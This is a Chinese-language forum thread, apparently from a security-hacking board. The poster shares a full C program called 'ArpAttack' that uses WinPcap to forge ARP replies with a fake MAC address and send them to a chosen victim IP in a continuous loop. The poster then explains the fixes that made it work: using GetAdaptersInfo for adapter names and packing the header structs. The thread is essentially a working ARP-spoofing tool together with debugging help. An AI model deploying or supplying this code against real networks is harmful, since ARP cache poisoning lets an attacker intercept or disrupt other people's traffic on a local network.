[讨论]ARP程序的一个小问题
议题提交:X14o-H4o信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
跟着某文章做了 个 arp欺骗的小程序 但是用后发现出错了 不知道哪里出了错 特来请教
[code]
#include <winsock2.h>
#include <stdio.h>
#include <Iphlpapi.h>
#include "Packet32.h"
#pragma comment(lib, "packet.lib")
#pragma comment(lib, "WS2_32.lib")
#pragma comment(lib, "Iphlpapi.lib")
typedef struct _et_header //以太网头部
{
unsigned char eh_dst[6]; //真实的MAC地址
unsigned char eh_src[6]; //虚拟的MAC地址
unsigned short eh_type; //arp报文类型 0x0806
}ET_HEADER;
typedef struct _arp_header //ARP头部
{
unsigned short arp_hdr; //硬件地址类型 以太网 0x0001
unsigned short arp_pro; //上层协议地址类型 IP协议 0x0800
unsigned char arp_hln; //MAC地址长度 0x06
unsigned char arp_pln; //IP地质长度 0x04
unsigned short arp_opt; //操作码 0x0001 请求 0x0002 应答
unsigned char arp_sha[6]; //发送方 MAC
unsigned long arp_spa; //发送方 IP
unsigned char arp_tha[6]; //接收方 MAC
unsigned long arp_tpa; //接收方 IP
}ARP_HEADER;
void StrToMac(char *str,unsigned char *mac)
{
char *str1;
int i;
int low,high;
char temp;
for(i=0;i<6;i++)
{
str1=str+1;
switch(*str)
{
case 'a' : high=10;break;
case 'b': high=11;break;
case 'c': high=12;break;
case 'd': high=13;break;
case 'e': high=14;break;
case 'f': high=15;break;
default: temp=*str;
high=atoi(&temp);
}
switch(*str1)
{
case 'a' : low=10;break;
case 'b': low=11;break;
case 'c': low=12;break;
case 'd': low=13;break;
case 'e': low=14;break;
case 'f': low=15;break;
default:temp=*str1;
low=atoi(&temp);
}
mac[i]=high*16+low;
str+=2;
}
}
int about()
{
printf("Example : ArpAttack 被攻击方IP 发送方IP 假的MAC地址\r\n");
return 1;
}
int GetRemoteMac(unsigned char*remoteMac,char *remoteIP)//获取某IP真实mac地址 并输出
{
// remoteIP="10.200.203.179";
WSADATA wsdata;
ULONG remoteAddr=0,macAddrlen=6;
unsigned char remoteMacTemp[6]={0};
if(WSAStartup(MAKEWORD(2,1),&wsdata)!=0)
{
printf("WSAStartup Error!\r\n");
return 0;
}
remoteAddr=inet_addr(remoteIP);
if(SendARP(remoteAddr,(unsigned long)NULL,(PULONG)&remoteMacTemp,&macAddrlen)!=NO_ERROR)
{
printf("Get Remote MAC failed!\r\n");
return 0;
}
memcpy(remoteMac,remoteMacTemp,6);
printf("Remote IP:%s MAC:",remoteIP);
for (int i=0;i<6;i++)
{
printf("%.2x-",remoteMac[i]);
}
printf("\r\n");
return 1;
}
int main(int argc,char *argv[])
{
static CHAR adapter_list[10][1024];
ULONG adapter_length=1024;
WCHAR adapter_name[2048];
WCHAR *name1,*name2;
ULONG i;
LPADAPTER lpAdapter;
if (argc<4)
{
about();
return 0;
}
unsigned char remoteMac[6]={0};
if(!GetRemoteMac(remoteMac,argv[1]))
{
printf("GetRemoteMac Error!\r\n");
return -1;
}
//-------------------------------------------------------------------------
if(PacketGetAdapterNames((char*)adapter_name,&adapter_length)==FALSE) //获取网卡列表
{
printf("PacketGetAdapterNames Error!\r\n");
return -1;
}
name1=adapter_name;
name2=adapter_name;
i=0;
while((*name1!='\0')||(*(name1-1)!='\0'))
{
if(*name1=='\0')
{
memcpy(adapter_list[i],name2,2*(name1-name2));
name2=name1+1;
printf("\r\n%s\r\n",adapter_list[i]);
i++;
}
name1++;
}
//--------------------------------------------------------------------------
lpAdapter=(LPADAPTER)PacketOpenAdapter((LPTSTR)adapter_list[0]);
if(!lpAdapter||(lpAdapter->hFile==INVALID_HANDLE_VALUE))
{
printf("PacketOepnAdapter Error!\r\n");
return -1;
}
unsigned char fakemac[6]={0};
StrToMac(argv[3],fakemac);
//---------------------------------------------------------------------------
//构造一个arp包
ET_HEADER et_header;
ARP_HEADER arp_header;
memcpy(et_header.eh_dst,remoteMac,6);
memcpy(et_header.eh_src,fakemac,6);
et_header.eh_type=htons(0x0806);
arp_header.arp_hdr=htons(0x0001);
arp_header.arp_pro=htons(0x0800);
arp_header.arp_hln=0x06;
arp_header.arp_pln=0x04;
arp_header.arp_opt=htons(0x0002);
arp_header.arp_spa=inet_addr(argv[2]); //发送方ip
memcpy(arp_header.arp_sha,et_header.eh_src,6);
arp_header.arp_tpa=inet_addr(argv[1]); //被欺骗的IP
memcpy(arp_header.arp_tha,et_header.eh_dst,6);
char buffer[512]={0};
memcpy(buffer,&et_header,sizeof(ET_HEADER));
memcpy(buffer+sizeof(ET_HEADER),&arp_header,sizeof(ARP_HEADER));
//------------------------------------------------------------------------
LPPACKET lpPacket;
lpPacket=PacketAllocatePacket(); //分配内存
PacketInitPacket(lpPacket,buffer,64);//初始化
if(PacketSetNumWrites(lpAdapter,2)==FALSE) //设置发送次数
{
printf("PacketSetNumWrites Error!\r\n");
}
while(TRUE)
{
struct in_addr sAddr,tdAddr;
sAddr.S_un.S_addr=arp_header.arp_spa;
tdAddr.S_un.S_addr=arp_header.arp_tpa;
if(PacketSendPacket(lpAdapter,lpPacket,TRUE)==FALSE) //发送包
{
printf("PacketSendPacket Error!\r\n");
break;
}
Sleep(2000);
}
PacketFreePacket(lpPacket);//释放内存
PacketCloseAdapter(lpAdapter); //关闭网卡
return 1;
}
[/code]
单步跟踪后 发现是 PacketSetNumWrites 这个API 的地方出了错 但是不知道为什么出错
[s:269] 大家帮忙看看[s:269]
已经解决了 这帖是N天前发的. 现在ARPSNIFFER都搞出了. 等邪八审核个帖子 等的我花都谢了
第一个问题:
打开网卡时失败 弄了俩天了..此问题非常之变态. .后来有个 有位老师告诉我说网上的 取网卡的名字都是错的 网上大部分用的是 PacketGetAdapterNames 取所有网卡名字的字符串 而 老师告诉我 正确的应该用 GetAdaptersInfo 来取 其网卡信息 然后再 从相关结构体中取出 这个问题算是解决了 花了我2天时间 郁闷
第二个问题:
自己构造的 ARP包是能正确发送了..但是没有效果... 哇靠 然后 又去问 朋友
朋友帮忙看了下源代码...发现 字节问题...一个ARP包 的字节是 多少来着 不记得了 但是我的2个结构体加起来 是超过了那个 字节 为什么会这样呢 ? 因为结构体 有自动 数据对齐的功能 详细情况 大家也应该清楚 然后我就自己设置 了 下 对齐的字节 包发送了..而且也有效果了
[s:264]
页:
[1]